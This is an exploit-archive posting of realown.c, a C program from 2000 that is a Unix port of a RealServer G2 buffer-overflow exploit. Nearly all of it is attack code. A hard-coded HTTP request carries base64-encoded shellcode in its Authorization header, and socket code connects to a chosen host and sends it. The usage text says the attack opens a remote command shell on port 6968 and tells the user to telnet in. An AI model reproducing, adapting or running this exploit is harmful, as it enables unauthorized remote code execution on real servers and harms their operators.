what you don't know can hurt you

realown.c

realown.c
Posted Feb 11, 2000
Authored by teso

unix-port of the RealSever exploit from dark spyrit

systems | unix
MD5 | da6339902daaf944a149fe55b384c013

realown.c

Change Mirror Download
/* RealNetworks RealServer G2 buffer overflow exploit
*
* by dark spyrit <dspyrit@beavuh.org>
* quick unix port by team teso
*
* the windows binary is available at http://www.beavuh.org.
*
* This exploits a buffer overflow in RealServers web authentication on
* the administrator port - hence the reason the shellcode is base64 encoded.
* This has been tested on the NT version with a default installation.
* If RealServer is installed in a different directory than the default, the
* buffer will need to be adjusted accordingly.
* The administrator port is randomly selected at installation, but as you'll
* only be testing on your own networks this won't matter :)
*/

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>


/* local functions
*/
unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);

unsigned char sploit[] =
"GET /admin/index.html HTTP/1.0\x0d\x0a"
"Connection: Keep-Alive\x0d\x0a"
"User-Agent: Mozilla/4.04 [en] (X11; I; Beavuh OS .9 i486; Nav)\x0d\x0a"
"Host: 111.111.11.1:1111\x0d\x0a"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\x0d\x0a"
"Accept-Language: en\x0d\x0a"
"Accept-Charset: iso-8859-1,*,utf-8\x0d\x0a"
"Authorization: Basic kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
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int
main (int argc, char **argv)
{
int socket;
char *server;
unsigned short int port;
struct sockaddr_in sa;

if (argc != 3) {
printf ("RealServer G2 exploit [NT] - please check http://www.beavuh.org for info.\n"
"by dark spyrit <dspyrit@beavuh.org>, port by team teso\n\n"
"usage: %s <host> <admin_port>\n"
"eg - %s host.com 6666\n"
"the exploit will spawn a command prompt on port 6968\n\n", argv[0], argv[0]);

exit (EXIT_FAILURE);
}

server = argv[1];
port = atoi (argv[2]);

socket = net_connect (&sa, server, port, 45);
if (socket <= 0) {
perror ("net_connect");
exit (EXIT_FAILURE);
}

write (socket, sploit, strlen (sploit));
sleep (1);
close (socket);

printf ("data sent. try \"telnet %s 6968\" now \n", server);

exit (EXIT_SUCCESS);
}


unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;

i = inet_addr (host);
if (i == -1) {
he = gethostbyname (host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}

return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;

/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);

cs->sin_addr.s_addr = net_resolve (server);
if (cs->sin_addr.s_addr == 0) {
close (fd);
return (-1);
}

flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}

error = 0;

n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;

FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;

n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);

if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);

done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);

return (fd);
}

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